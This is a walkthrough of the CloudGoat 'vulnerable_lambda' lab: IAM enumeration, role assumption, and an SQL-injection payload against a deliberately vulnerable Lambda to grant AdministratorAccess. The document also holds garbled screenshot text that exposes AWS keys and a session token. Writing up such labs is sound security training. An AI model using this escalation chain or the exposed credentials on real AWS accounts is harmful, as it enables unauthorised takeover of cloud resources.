CloudGoat vulnerable_lambda
walkthrough




Introduction

Serverless computing is a method of providing backend services on an as-used
basis. A serverless provider allows users to write and deploy code without the
hassle of worrying about the underlying infrastructure. A company that gets
backend services from a serverless vendor is charged based on their
computation and do not have to reserve and pay for a fixed amount of
bandwidth or number of servers, as the service is auto-scaling. Note that despite
the name serverless, physical servers are still used but developers do not need to
be aware of them.

Examples of Serverless Services are:

1. Function as a Service (FaaS) - A model where small, self-contained pieces
of code (functions) are executed e.g AWS Lambda, Azure Functions, Google
Cloud Functions.

2. Backend as a Service (BaaS): Managed databases, authentication services.

How serverless computing works

1. Developers write code, often as individual functions.

2. The code is deployed to a serverless platform (like AWS Lambda, Azure
Functions, Google Cloud Functions).

3. Anevent occurs (e.g., a user uploads a photo).

4. The cloud provider instantly spins up a container, runs the function, and
then tears it down.

AWS Lambda is a serverless computing service provided by Amazon Web Services
(AWS). Users of AWS Lambda create functions, self-contained applications written
in one of the supported languages and runtimes, and upload them to AWS
Lambda, which executes those functions in an efficient and flexible manner.



The Lambda functions can perform any kind of computing task, from serving web
pages and processing streams of data to calling APIs and integrating with other
AWS services.

How does AWS Lambda work?: Each Lambda function runs in its own container.
When a function is created, Lambda packages it into a new container and then
executes that container on a multi-tenant cluster of machines managed by AWS.
Before the functions start running, each function’s container is allocated its
necessary RAM and CPU capacity. Once the functions finish running, the RAM
allocated at the beginning is multiplied by the amount of time the function spent
running. The customers then get charged based on the allocated memory and
the amount of run time the function took to complete.

Objective

To gain hands-on experience in identifying and mitigating security risks associated
with serverless computing environments, specifically focusing on AWS Lambda
functions. On completion of this assignment, | will be able to gain practical insights
into common security vulnerabilities and learn how to secure Lambda functions

effectively.
Requirements

1. CloudGoat - CloudGoat is Rhino Security Labs' "Vulnerable by Design" cloud
deployment tool. It allows you to hone your cloud cybersecurity skills by

creating and completing several "capture-the-flag" style scenarios.
Scenario Resources

e 1AM User
e 1AM Role
e 1 Lambda



e 1 Secret
Scenario Start(s)
IAM User 'bilbo’
Scenario Goal(s)
Find the scenario's secret. (cg-secret-XXXXXX-XXXXXX)
Summary

In this scenario, you start as the 'bilbo" user. You will assume a role with more
privileges, discover a lambda function that applies policies to users, and exploit a
vulnerability in the function to escalate the privileges of the bilbo user in order to

search for secrets.

Exploitation Route(s)

Start o List IAM Roles - Assume the
( "bilbo" user credentials ) = | cg-lambda-invoker role
\
As the "bilbo" user with new Invoke and exploit the ]
L N . . ’ List lambdas as the
privileges, list all secrets in |- policy applier lambda as the |« assumed role
secretsmanager. assumed role

Steps Taken to complete vulnerable_lambda scenario



1. Setting up CloudGoat Profile and vulnerable_lambda
in Kali.

- From the AWS console in the browser, | created an IAM user that would enable me
to generate security credentials to authenticate to AWS cli using the access keys
given in the console.

- lused aws configure --profile cloudgoat to create a profile in the cli using the IAM

user's access credentials.
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IAM > Users > Create user

step1 )
@ specify user detalls Review and create
R Review your choices. After you create the user, you can view and download the autogenerated password, if enabled.
step

@ set permissions

User details
Step
(@ Review and create User name Console password type Require password reset
cloudgoat None No
Perm 1
Name 12 a | Type v | Usedas v

AdministratorAccess AWSs managed - job function Permissions policy

Tags - optionat
Tags are key-value pairs you can add to AWS resources to help identify, organize, or search for resources. Choose any tags you want to associate with this user.

No tags associated with the resource,
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Alt+s]

e 1AM > Users > cloudgoat

Identity and Access < @ User created successfully
Management (IAM)

You can view and download the user's password and email Instructions for signing In to the AWS Management Cons

| Q search1am
Dashboard Multi-factor authentication (MFA) (0) Remove Resync

Use MFA to Increase the security of your AWS environment. Signing in with MFA requires an authentication code from an MFA device. Each user can have a maximurn of 8 MFA devices assigned. Learn more L)
¥ Access management

Type Identifier Certifications Created on
User groups

Users

No MFA devices. Assign an MFA device to Improve the security of your AWS environment
Roles

Identity providers
Account settings
Root access management Access keys (0)

Temporary delegation requests
New

Create access key

Use access keys to send programmatic calls to AWS from the AWS CLI, AWS Tools for PowerShell, AWS SDKs, or direct AWS API calls. You can have a maximum of two access keys (active or inactive) at a time. Learn more (2

No access keys. As a best practice, avoid using long-term credentials like access keys. Instead, use tools which provide short term credentials. Learn more 12
v Access reports

Create access key
Access Analyzer
Resource analysis New
Unused access

API keys for Amazon Bedrock (0)

Actions ¥ Generate API Key
Analyzer settings

Use API keys for Amazon Bedrock to integrate into your library of choice and make API requests programmatically. You can have a maximum of two long-term API keys (active, inactive, or expired) at a time. Lear more 12
Credential report

Privacy
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IAM > Users > cloudgoat > Create access key

step1

(@ Access key best practices & Access key best practices & alternatives .
alternatives Avold using long-term credentials like access keys to improve your security. Consider the following use cases and alternatives.
Step 2 - optional

Set description tag Use case

Step3

© command Line Interface (CLI)
Retrieve access keys

You plan to use this access key to enable the AWS CLI to access your AWS account.

Local code
Vou plan to use this access ke to enable application cod
AWS account.

13 local development environment to

Application running on an AWS compute service
You plan to use this access key to enable application cod
Amazon ECS, or AWS Lambda to access your AWS account.

running on an AWS compute service like Amazon EC2

Third-party service

Vou plan to use this access key to enable access for a third-party application o service that monitors or manages
your AWS resources.

Application running outside AWS

You plan to use this access ke to authenticate workloads running in your data center or other Infrastructure
outside of AWS that needs to access your AWS resourt

Other

Your use case is not listed here.
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= 1AM > Users > cloudgoat > Create access key

e that the secret access key can be viewed or downloaded. You cannot recover

/ou can create a new access key any

step1

Access key best practices & Retrieve access keys i

alternatives

Step 2 - optional Access key
Set description tag

If you lose or forget your secret access key, you cannot retrieve t. Instead, create a new access key and make the old key inactive
step3

Access key
(@) Retrieve access keys

Secret access key

lﬁv T C—show

Access key best practices
« Never store your access key in plain text, in a code repository, or in code.
« Disable or delete access key when no longer needed.
« Enable least-privilege permissions.

= Rotate access keys regularly.

For more details about managing access keys, see the best practices for managing AWS access keys.

Download

udShell
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- lwas able to verify the IAM user using aws sts get-caller-identity --profile cloudgoat
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on variables.tf line 17:
17: variable “cg_whitelist" {

The root module input variable "cg_whitelist® is not set, and has no default
value. Use a -var or -var-file command line argument to provide a value for
this variable.

sts get-caller-identity cloudgoat

An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included
in the request is invalid.

destroy vulnerable_lambda
Loading whitelist.txt ..

A whitelist.txt file was found that contains at least one valid IP address or range.

S S ———————————
Found previously deployed vulnerable_lanbda scenario.

B T T

Using default profile "cloudgoat” from config.ynl
Destroy "vulnerable_lambda_cgidn7skikby24"? [y/n]: y

No terraform.tfstate file was found in the scenario instance's terraforn directory, so "terraform destroy® will not be run.

Successfully destroyed vulnerable_lanbda_cgidn75klkby24.

Scenario instance files have been moved to /home/n3vill3/.local/share/pipx/venvs/cloudgoat/Lib/python3.13/site-packages/cloudgoat/trash/vulnerable_lanbda_cgidn75kikby24
configure cloudgoat

AWS Access Key ID [#ksiistrtrsss5CVT]

AUS Secret Access Key [#ixsaxstsirsasss3I0t]

Default region name [us-east-1

Default output format [json]

sts get-caller-identity cloudgoat
"UserTd": "AIDAZBWGBKYBUBCJAKWN2" ,

"Account”: "622111839747",
“Arn®: "arn:aws:iam:: 622111839747:user/cloudgoat”

B OGS MOrT T @B right cul
oW 7V & ENG 1707 [ ]

- Using cloudgoat create vulnerable_lambda, | created the scenario resources.

- The IAM user ‘bilbo’ is created with an access key and a secret key. The IAM user can
also be seen now in the AWS Console.
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}

create vulnerable_lanbda
Loading whitelist. txt.
A whitelist.txt file was found that contains at least one valid IP address or range.
Using default profile “cloudgoat” from config.yml

Initializing the backend ...

Initializing provider plugins ...
Finding latest version of hashicorp/archive ...
Finding latest version of hashicorp/aus ...
Installing hashicorp/archive v2.7.1
Installed hashicorp/archive v2.7.1 (signed by Hashicorp)
Installing hashicorp/aws v6.25.
Installed hashicorp/aus v6.25. o (signed by HashiCorp)

Terraforn has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

Terraform has been successfully initialized!

Lcloudgoat] terraforn init conpleted with no error code.
data.archive_file.policy_applier_lanbdal_zip: Reading .

data.archive_file.policy_applier_lambdal_zip: Read complete after 2s [id=4819f4481f24ac0ae4f82a0f10eb46fa6fe05cf7]
data.aws_caller_identity.current: Readinj

data.aus_caller_identity.current: Read complete after Os [id=622111839747]

Terraforn used the selected providers to generate the following execution plan

. Resource actions are indicated with the following symbols:
create

Terraforn will perforn the following actions:

# aws_cloudwatch_log_group.policy_applier_lambdal will be created
resource “aus_cloudwatch_log_group” "policy_applier_lambda1® {
n known after apply)
deletion_protection_enabled = (known after apply)
id 7 (known after apply)
Tog_group_class known after apply

nane /aws/tamhaa/cgmgszusspuu policy_applier_lanbda1®
name_prefix known after apply)
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resource as well.

(and one more similar warning elseuhere)

Apply complete! Resources: 9 added, 0 changed, 0 destroyed.
Output:

cloudgoat_output_aws_account_id = "622111839747"

cloudgoat _output_bilbo_access_key_id = "AKIAZBWGBKYBSAQQTQOI"
cloudgoat output_bilbo_secret_key = <sensitive>

profile = "cloudgoat”

scenario_cg_id = "cgidgs245spuvi”

[cloudgoat] terraforn apply completed with no error code.

[cloudgoat] terraform output completed with 1o error code.
cloudgoat_output_aws_account_id = 62211183974

cloudgoat “output_bilbo_access_key_id = AKIAZBWGBKVBSADDTDDI

cloudgoat output_bilbo_secret key = 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
profile = cloudgoat

scenario_cg_id = cgidgs245spuvi

[cloudgoat] Output file written to:

/home/n3v1113/ . local/share/pipx/venvs/cloudgoat/Lib/python3. 13/site-packages/cloudgoat /vulnerable_lambda_cgidgs245spuvi/start .txt

iam get-user

Unable to locate credentials. You can configure credentials by running "aws configure".

sts get-caller-identity

Unable to locate credentials. You can configure credentials by running "aws configure".
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aws, Q

e 1AM > Users

Identity and Access <
Management (IAM) Users (2) e

Alt+s]

An 1AM user is an identity with long-term credentials that is used to interact with AWS in an account.

(@i ) (Q s

O | user name o ran B
Dashboard

Group: ¥ | Last activity v | MFA v | Passwordage v | Console lastsign-in
[} cg-bilbo-cgidgs 245spuvi / o - - -
¥ Access management
User groups (J  cloudgoat / 0 o o - -
Users
Roles
Policies

Identity providers
Account settings
Root access management
Temporary delegation requests
New
¥ Access reports
Access Analyzer
Resource analysls New
Unused access
Analyzer settings

Credential report

2. Setup a profile for bilbo in AWS CLI using the
credentials that CloudGoat created

Access key ID

Active - AKIAZBWGBK...

v | Active key age

@ 2 hours

Privacy

BorEsemars
oL 7V & ENG 21:15

Create user

1 (5]

v | Ace
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[cloudgoat] terraforn apply completed with no error code.

O 4$ a 22122 @& C

[cloudgoat] terraform output completed with no error code.
cloudgoat_output_aws_account_id = 622111839747

cloudgoat output_bilbo_access_key_id = AKIAZBWGBKYBSAQQTQOT

cloudgoat output_bilbo_secret key = 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
profile = cloudgoat

scenario_cg_id = cgidgs245spuvi

[cloudgoat] Output file written to:
/home/n3v1113/ . local/share/pipx/venvs/cloudgoat/Lib/python3. 13/site-packages/cloudgoat/vulnerable_lambda_cgidgs245spuvi/start..txt
iam get-user

Unable to locate credentials. You can configure credentials by running "aws configure".

sts get-caller-identity

Unable to locate credentials. You can configure credentials by running "aws configure".

configure ilbo
AUS Access Key ID [None]: AKIAZBWGBKYBSAQQTQOI
AU Secret Access Key [None]: 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
Default region name [None
Default output format [Nonel: json

sts get-caller-identity bilbo

"AIDAZBWGBKYBRGXBQL67M" ,
3

747",
s:iam:: 62211183747 :user/cg-bilbo-cgidgs245spuvi”

B oK I mMOrTE & arightcul
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3. Get the policies attached to the user

Command used: aws --profile bilbo --region us-east-1 iam list-user-policies --user-name <user

name in aws console/arn> (checks if there are any user-specific policies)

11
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}

# List policies directly attached to the user (if any)

aus —profile bilbo —-region us-east-1 iam list-user-policies -user-name bilbo

An error occurred (NoSuchEntity) when calling the ListUserPolicies operation: The user with name bilbo cannot be fo

# List all permissions assigned via a user policy

“UserId":
"Account”:

b

bilbo us-east-1 sts get-caller-identity

“AIDAZBWGBKYBRGXBQL67M" ,
"622111839747"

"Arn”: "arn:aws:iam:: 622111839747 :user/cg-bilbo-cgidgs245spuvi”

bilbo us-east-1 iam list-user-policies bilbo

An error occurred (NoSuchEntity) when calling the ListUserPolicies operation: The user with name bilbo cannot be fo
und.

bilbo us-east-1 iam list-user-policies cg-bilbo-cgidgs245spuvi

"PolicyNames”: [
* cg-bilbo-cgidgs245spuvi-standard-user-assuner*

4.

12
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The policy attached to the bilbo user is standard-user-assumer.
A "standard-user-assumer" policy enables a regular IAM user (with minimal rights) to
temporarily take on permissions of a separate, more powerful IAM Role, using
sts:AssumeRole, to perform specific tasks, which is a security best practice for
temporary, least-privilege access instead of long-lived credentials. The user gets an
AssumeRolePolicy allowing sts:AssumeRole on the target role, while the Role has a
Trust Policy defining who (like your user) can assume it and a Permissions Policy
defining what actions are allowed.
After the permission enumeration process, you'll see that the ‘bilbo’ user has
“iam:Get*” and “iam:List*” for “‘Resource”: “*"™. You can also see that bilbo has
“sts:AssumeRole” for ““Resource”:
“arn:aws:iam::940877411605:role/cg-lambda-invoker*”, and so you can check out

which permissions the “cg-lambda-invoker” role has

Get all permissions assigned via a user policy for the
'bilbo’ user.



Command used = aws --profile bilbo --region us-east-1 iam get-user-policy --user-name

cg-bilbo-cgidgs245spuvi --policy-name cg-bilbo-cgidgs245spuvi-standard-user-assumer

7
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"PolicyNames”: [
* cg-bilbo-cgidgs245spuvi-standard-user-assuner*

bilbo us-east-1 ian get-user-policy cg-bilbo-cgidgs24sspuvi
-bilbo-cgidgs245spuvi-standard-user-assumer
{

" cg-bilbo-cgidgs245spuvi®,
g-bilbo-cgidgs245spuvi-standard-user-assuner®,

ts:AssumeRole”,
o

Tlow",
"arn:aws:iam::940877411605:role/cg-lambda-invokers",

"Action": [

"iam:Gets",

“iam: Lists",

"iam:SinulateCustonPolicy”,
, "iam:SimulatePrincipalPolicy™
"Effect”: "Allow",
"Resource”: "*",

0 F MO T @ Roht cul
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You (as the bilbo user) have:

e Permission to assume a specific role (cg-lambda-invoker*) - The wildcard means the
resource doesn’t adhere to the principle of least privilege (hence the name
vulnerable lambda).

e Permission to see IAM info (The user has basic read-only IAM permissions)

- This allows you to:
e ListlIAMroles
e List IAM users
e Get details about IAM entities

e Simulate policies (used for privilege escalation analysis)

Star permissions should never be used when granting permissions with the “Allow” effect in

production environments

13



Wildcard permissions grant broad permissions, often for many permissions or resources

which should never be applied to Lambda functions.

The name of the “cg-lambda-invoker” role and the associated permissions both point
toward the lambda service as a possible target. We don't have the “iam:PassRole”
permission, which is required for common privilege escalations involving the lambda
service. However, this does not mean that the lambda service should be ignored.

Improperly configured lambdas can still be exploited.

5. List all roles, looking for ones associated with
CloudGoat (cg-).

Command = aws --profile bilbo --region us-east-1 iam list-roles | grep cg-

7
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bilbo us-east-1 iam get-user-policy cg-bilbo-cgidgs245spuvi cg-bilbo-cgidgs245spuvi-standard-user-assun

o
“UserName”: *cg-bilbo-cgidgs245spuvi”,
“potieyane": “eg-bilbo- cgidgs245spuvi-standard-user-assuner™
puucynucumem
“Version®: "2012-10-17"
Sta;ement [

: "stsiAssumeRole”,
"Allow”

": "arn:aus:iam::940877411605:role/cg-lambda-invokers",

foe *
wlateCustomPolicy”,
ulatePrincipalPolicy”

1,
"Effect™: "Allow”,
"Resource”: "x"

1bo us-east-1 iam list-roles cg-
“RoleName”: *cg-lanbda-invoker-cgidgs265spuvi”
Arn™: "arn:aus: ian:: 622111839747t role/cc “lambda-invoker- -cgidgsa6sspuvi®,
S™: "arn:aws:iam:: 622111839747 :user/cz-bilbo-cgidgs245spuvi”

us-east-1 iam list-roles cg-
“ce-lanbda-invoker-cgidgs245spuvi”,
aws:ian:: 622111839747 :role/ce “lambda-invoker- -cgidgsa6sspuvi®,

"1 "arn:aus:ian:: 622111839747 :user/ce-bilbo-cgidgs245spuvi”

B 0¥ G ¥ METE @B roht Ctrl
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6. Check what policies are attached to the promising
role.

14
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"Statement”: [
{

:AssumeRole”,
ou”,
rn:aws:iam:: 940877411605: role/cg-lambda-invokers",

"Action”: [
"iam:Gets",
"iam:Lists",
- imulateCustomPolicy”,
imulatePrincipalPolicy”

bilbo us-east-1 iam list-roles cg-
“RoleName”: " mbda-invoker-cgidgs245spuvi”,
"Arn": "arn:aws:iam:: 622111839747:role/cc-lambda-invoker-cgidgs245spuvi®,
WS™: "arn:aws:ian:: 622111839747 :user/ce-bilbo-cgidgs245spuvi®

bilbo us-east-1 iam list-roles cg-
“RoleName”: " mbda-invoker-cgidgs245spuvi”,
"Arn": "arn:aws:iam:: 622111839747:role/cc-lambda-invoker-cgidgs245spuvi®,

WS™: "arn:aws:ian:: 622111839747 :user/ce-bilbo-cgidgs245spuvi®

bilbo us-east-1 ian list-role-policies cg-lanbda-invoker-cgidgs245spuvi

"PolicyNames”: [
"lambda-invoker"

B OGS MOrT T @B right cul
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7. Assume the role to gain credentials and higher
privileges

Since the role is assumable, we assume it

- "Assuming a role" in AWS is the process of temporarily transferring permissions
from an IAM role to a user, service, or application that does not inherently have
those permissions. This practice enhances security by providing temporary, scoped
access credentials instead of managing long-term access keys for multiple entities.

- When arole is assumed, the AWS Security Token Service (STS) provides a set of
temporary security credentials consisting of an access key ID (starting with ASIA), a
secret access key, and a session token. These credentials are valid for a limited
duration (15 minutes to 12 hours) and automatically expire, enforcing security best
practices.

Command = aws --profile bilbo --region us-east-1 sts assume-role --role-arn
arn:aws:iam::622111839747:role/cg-lambda-invoker-cgidgs245spuvi --role-session-name

assumed-role

15
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bilbo us-east-1 iam list-roles g

"RoleName”: Tanbda-invoker-cgidgs245spuvi”,

"Arn": "arn 11183 e/cg-lambda-invoker-cgidgs245spuvi”,
1622111839747 :user/ce-bilbo-cgidgs245spuvi”

bilbo us-east-1 iam list-roles g
"RoleName": "cg-lambda-invoker-cgidgs245spuvi”,
"Arn": "arn 111839747 : role/ce-lambda-invoker-cgidgs245spuvi”,
aws: 1am; 622111839747 user/ < ¢ bilbo-cgiags24dspuvi”

bilbo us-east-1 ian list-role-policies cg-lanbda-invoker-cgidgs245spuvi

"PolicyNames”: [
*lambda-invoker®

us-east-1 sts assume-role arn:aws:iam:: 622111839747 : role/cg-lambda-inv
it

bilbo
oker-cgidgs245spuvi assumed-role

“Credentials”: {
"AccessKeyId" TAZBWGBKYB3K34S6ZX"
"SecretAccess| 25hF /£2¢631jA/ TRSAqE J33ggazTAdBNSLuOvP" ,

'1QoJb: JJpZZluXZV]ECSaCXVZLVNhcaDtMSJIMEVCIDD]MJ6ekaInE65EhkakPl/KinEZRDKkICngnDNebMIhA
Lhogkquanka]SIbﬂlNVDEWlpVE!SIVSLocyZFuLKqICCPT//////////wEDAEnMN]IyMTExDDMSNzDJngR/]ccwDIWKva]msqggEeSBSth
cZmQs9auasaDrMrPRi7tH9egkvzcymI fZEauGO2AVOXDE/ cAB39VXAE4QP)+ItZ7L8r6UeN9/pSdZfIMjke93YkujxsBUZ1YYcYENCTGBY1a63pRPM
4ryRT3cdf 718 1NFDaghDSARDQRUKGR/bRR7d1+/A1D5100TwOH jHs 4yLC1 31HjDbUC8+0VOthngf tAGHhCmtUOJRBE76UMMNGQ+bIrCOBLF Ifku
Fr+bd7HemMing5VI1UibqxtEe9KyDhMLrUSL fEpcAneUUJEVKIJtZLxr /+E+FAjLLISTPE41STspc1ztZPRzaXZnESnkwlpzsyQY6nAHPEOZZZNj o
chSquDuvNISZSnGhmﬂhdmtmkp?uEhySy]QkJaFquz0aLaMs]EM]M/NECPBONmVESl/pKAh]sxth?bgybLﬁxhhocwﬁMWLMPQJ)ZoUGWkKZpS
XduiLEfWizw7/Q07ysS+Xdfz0accsUiQe JKOGPG10p4pibCL2sREyyZ2F1I3AKSN/ SP2VFy/29C4BSZAZISQ="

"Expiration”: "2025-12-11T19:32:54+00:00"

*AssunedRoleUser”
"AssumedRoleI 'AROAZBWGBKYBYRZALJV2N:assumed-role”
“Arn": “arn: +622111839747 :assuned-role/cg-lanbda-invoker—cgidgs245spuvi /assuned-role”

0 T ¢ MO T @ B right Cr
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8. List lambdas to identify the target lambda.

For this, | had to edit the ~/.aws/credentials file to add the assumed_role profile using those

temporary creds | got before. The Session token needed to be added along with the access

key and secret access key

Then | used the command : aws --profile assumed_role --region us-east-1 lambda list-functions

What This Does

- Retrieves all Lambda functions in the AWS account.
- ldentifies the one belonging to CloudGoat (it will likely start with cg-).
- This Lambda can apply AWS policies to users—our attack target.
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*AssunedRoleUser”
¥ AesunedROLETd": “AROAZBWGBKYEYRZALIV2N:assuned-role”
"Arn’: "arn:aus:sts:: 622111839747 :assuned-role/cg-lanbda-invoker-cgidgs245spuvi/assuned-role”

}
b

assumed_role us-east-1 lambda list-functions
"Functions™: [
{

*FunctionNane®: cgldgsZLSSpuvl policy_applier_lambda1",
" s :lanbdaus-east-1:622111839747: function: cgidgs245spuvi-policy_applier_lambda1”

025-12-10T16:14:05. 398+
cVXWAYg]EEpyxdﬁkz}!u!Kw?SanﬁUENwmﬁtFl)mun
ATEST",

“RevisionId": *72fb95ab-akab-4le-blcd-37825951fakf",
"PackageType™: "Zip",
"Architectures”:

“Ephemeralstorage”: {
"size": 512
"Snapstart”: {
"Applyon”: "None",
"OptimizationStatus": "Off"
Lngglngtnnhg {
"L

ogFormat”: "Text",
"Log6roup”: "/aws/lanbda/cgidgs245spuvi-policy_applier_lambda1”

03¢ MO E @D right cul
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Look at the lambda source code.

The Lambda function contains source code that determines how it processes requests. We
need to look at it for vulnerabilities.

Command used: aws --profile assumed_role --region us-east-1 lambda get-function

--function-name cgidgs245spuvi-policy_applier_lambda1

What this command does:

e Returns details about the function, including a download URL for its deployment

package.
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Traclngtnnhg : {
ode”: "PassThrough”
h
*RevisionId": "72fb9Sab-akab-44le-blcd-37825951Fakf",
"State”: "Active”,
"Lastupdatestatus*: "Successful",
"PackageType": "Zip",
"Architectures”: [
"x86. 64"

1,
"Ephemeralstorage”: {
"size": 51

h
”napstart {
on": "None"
' ”Dptlm)zannnstatus "off"
*RuntineVersionConfig" :

timeVersionArn”: "arn:aws:lambda:us-east-1

Run
4€60fd401262861f01"

untime:48c0f790371a08d913f94f05bbcbBcb1641dee331fe792

Lngglngtnnhg {
"LogFormat": "Text",
"LogGroup™: "/aws/lambda/cgidgs245spuvi-policy_applier_lanbda1”

}

h
"Code”: {
“RepositoryType”: 's3*

*Location™: *https://prod-04-2014-tasks.s3.us-east-1.anazonaus. con/snapshots/622111839747 /cgidgs245spuvi-p
olicy_applier_lambda1- awgsahh 8e8a-4ef2-a8c0-b65260ebe785?versionId=q. XwaVkEyPUMoQUR336uT437CX2a0bt 16X-Anz-Securi
ty-Token=I01b3JpZ21uX2VECoaCXVZLWVhC3QENS JHMEUCTFCHgn76vFPG3dn2 INPYZy0X QA3 19T C2FCTGRV%2B00GAL EAaKFVZ%2 FFULD
DSggs90VrPIzZnpPg197iSuk2Toch4CIqATIB%2F42F%2FX2FX2FX2F%2F%2F%2F%2F%2FARAAGEWINDK2N2g5MDT 4MzkiDCUOXgdUGRI3x5pOXST
OAloR%2BEGFpTbKe452AXG2bY0%2BORFOXI8N7 JBRIAU7S2PY t6U9%2FOFUEZX5aTaIChIBRLU%2FNT 4C09Q8VSYQZIBAOV2BE6%2BVi%2B3Y8Y M
60B5057%2B0CDjSTbFU4PKGIYGC3amdnV6RS3cvNmOXKtNPREQ35qEEOCSKXTMY5VXU2FY Ta%2Bf TFAPOQ3B1%2Bp6aCTAr jGe FAK) I0GOp&m0%2F
ZTCjOHURiXbAF 2h1rtC%2FBoN%2BKWYOW 4Hyui Inmy2V3t1ZL 3HA3DFf TKRZQy3TYE4MAYPbepX%2BqHOyNCz fvmEOVMVPIR4 JGKIX3ZSXNKVCYS
WUALSYQY6QGCt F161TYghoIXNNCUrXZ0ZCgIcFUUBE%2F4tC5hoiEKHCXZj CDVUCGIGENNOHG%2FPLqbnB5U27 e FBBE%2FgHObXLSDLBt 19263bg
1TAkwaB9 JGKgmAnn1u2ei Inr6noGwjDNGZ1EFiZ6ei f64e%2FiinmLUN1 Z2%2BsTikzH3%2FFOZY1Qi df gy YufxKLjqURANYb1U%3DEX-Anz-Al gori
thn=ANS4-HMAC-SHA2565X-Amz-Dat: 1211T21430126X-Anz-SignedHeaders=hostsX-Anz-Expires=6005X-Anz-Credent ial =ASTA2
SDCYHY36AB4QNQE%2F20251211%2Fus-east -1%2Fs3%2Faws4_requestsX-Anz-Signature=d6c4088cacecs34a943c7e9fbb592e06bfb6141

fbc8cde82cadd279429523c65"
“Tags": {
"Name": "cg-cgidgs245spuvi®,
"Scenario”: "vulnerable-lambda"
"Stack": "CloudGoat”

0¥ T ¢ MErT T @& rightcul
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e The response includes a download link for the function’s deployment package.

Extracting it revealed:
- A Python script (main.py)
- Alocal SQLite database (my_database.db)

The package contains the Lambda function’s code.
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inflating: sqlite_fts4-1.0.1.dist-info/LICENSE
.0.1.dist-info/METADATA

inflating .0.1.dist-info/RECORD

inflating . .0.1.dist-info/WHEEL

-1.0.1.dist-info/top_level. txt

inflating: sqlite_utils/_init__

inflating: sqlite_utils/_pycache_/_init__.cpython-313.pyc

inflating: sqlite_utils/_pycache_/cli.cpython-313.pyc

inflating: sqlite_utils/_pycache_/db.cpython-313.pyc

inflating: sqlite_utils/_pycache_/recipes.cpython-313.pyc

inflating: sqlite_utils/_pycache_/utils.cpython-313.pyc

inflating: sqlite_utils/cli.py

inflating: sqlite_utils/db.py

inflating: sqlite_utils/recipes.py

inflating: sqlite_utils/utils.py

inflating: sqlite_utils-3.17.dist-info/INSTALLER

inflating: sqlite_utils-3.17.dist-info/LICENSE

inflating: sqlite_utils-3.17.dist-info/METADATA

inflating: sqlite_utils-3.17.dist-info/RECORD

inflating: sqlite_utils-3.17.dist-info/REQUESTED

inflating: sqlite_utils-3.17.dist-info/WHEEL

inflating: sqlite_utils-3.17.dist-info/entry_| pulnts txt

inflating: sqlite_utils-3.17.dist-info/top_level.t

inflating: tabulate-0.8.9.dist-info/INSTALLER

inflating: tabulate-0.8.9.dist-info/LICENSE

inflating: tabulate-0.8.9.dist-info/METADATA

inflating: tabulate-0.8.9.dist-info/RECORD

inflating: tabulate-0.8.9.dist-info/WHEEL

inflating: tabulate-0.8.9.dist-info/entry_points. txt

inflating: tabulate-0.8.9.dist-info/top_level.txt

inflating: tabulate.py

~/Dounloads

*bilbo access keys'

requirements. txt

click_default_group.py six.py
cloudgoat_accessKeys. csv

main.py
ny_database.db tabulate.py

~/Dounloads
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~/Dounloads
ain. py
import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')

db["policies”]. insert_all([
{"policy_name": "AmazonsNSReadonlyAccess”, "public”: 'True'}
{"policy_name": "AmazonRDSReadOnlyAccess”, "public”: 'True'}
{"policy_name": "AWSLambda_ReadOnlyAccess®, “public”: 'True'}
{"policy_name": "Amazons3ReadonlyAccess”, "public” 'h
{"policy_name": "AmazonGlacierReadOnlyAccess”, "public”: 'True'}
{"policy_name": "AmazonRoute53DomainsReadonlyAccess”, "public”: 'True'}
{"policy_name": "AdministratorAccess”, "public”: 'False'}

#
#
#
#
#
#
#
#
#

1

def handler(event, context
target_policys = event['policy_names']
user_name = event['user_name'
print(f"target policys are : {target_policys}")

for policy in target_policys:
statement_returns_valid_policy = False
statenent = fselect policy_name fron policies where policy_name='{policy}' and public
For row in db.query(statement
statement_returns_valid_policy = True
print(fapplying {row['policy name'l} to {user_name}")
response = iam_client.attach_user_policy(

PolicyArn=F"arn:aws:ian:: aws:policy/{rou[ 'policy_name']}"
)
print("result: " + str(response[’ResponseMetadata’][' HTTPStatusCode']))

if not statement_returns_valid_| pullc
invalid_policy_statement = f*{policy} is not an approved policy, please only choose Fron approved ™ \
f"policies and don't cheat. :) "
print(invalid_policy_statement)
return invalid_policy_statement

return "AlL managed policies were applied as expected.”

if _name_
payluad {

"policy_names”: [

"AnazonSNSReadonlyAccess” ,
"AuSLambda_ReadonlyAccess”

B oK I MOrTE & arightcul
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e Lookfor:
e How it processes input (is it properly sanitizing input?).

e Any database structure hints in the comments.
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e Potential injection vulnerabilities.

{"policy_name": "AdministratorAccess", "public": 'False'} seems interesting

The handler: where the vulnerability exists
target_policys = event|['policy_names' ]
user_name = event|['user_name']

The attacker controls:

e policy_names
e user_name

Meaning you can choose any policy.

SQL query for validation

statement = f"select policy_name from policies where

policy_name='{policy}' and public='True"'"
This checks:

e |Is the policy name in the database?
e Isitmarked as public=True?

If yes — Lambda will attach it.

Here’s the security vulnerability

Notice the SQL:

select policy_name from policies where policy_name='{policy}"

20



e Thevariable {policy} is inserted directly without sanitization. This means the

function is vulnerable to SQL Injection.

9. Exploit the Lambda Function

The function is vulnerable to an injection attack. We can exploit this by crafting a malicious

payload.

Steps

- Create aJSON file (payload.json) with a specially crafted policy name:

"policy_names": ["AdministratorAccess' -- "],

"user_name": "[bilbo_user_name_here]"

=
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- Use the AWS CLI to invoke the Lambda function with this payload.

Commands
# Send the injection payload to the Lambda function

aws --profile assumed_role --region us-east-1 lambda invoke --function-name
[policy_applier lambda_name] --cli-binary-format raw-in-base64-out --payload
file://./payload.json out.txt

# Check the output to confirm success
cat out.txt

What This Does

e The JSON payload injects an extra policy application command by escaping a string.

e The Lambda function grants AdministratorAccess to bilbo, making them an admin.

Fd
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payload. json

assuned_role us-east-1 lambda invoke cgidgs245spuvi-policy_applier_lamb
rau-in-base64-out file://./payload. json out.txt

"StatusCode": 200
"FunctionError”: "Unhandled”,
"ExecutedVersion": "$LATEST'

out. txt
orMessage”: "An error occurred (ValidationError) when calling the AttachUserpolicy operation: The specified v
for userkane is invalid. It mist contsin only alphanumeric characters and/or the following: i7,.a.-", serrorT
": "ClientError", "requestId": "47885cf4-c63f-41c1-a5bf-aa2bb413ab06", "stackTrace": [ File \ r/task/ma)n
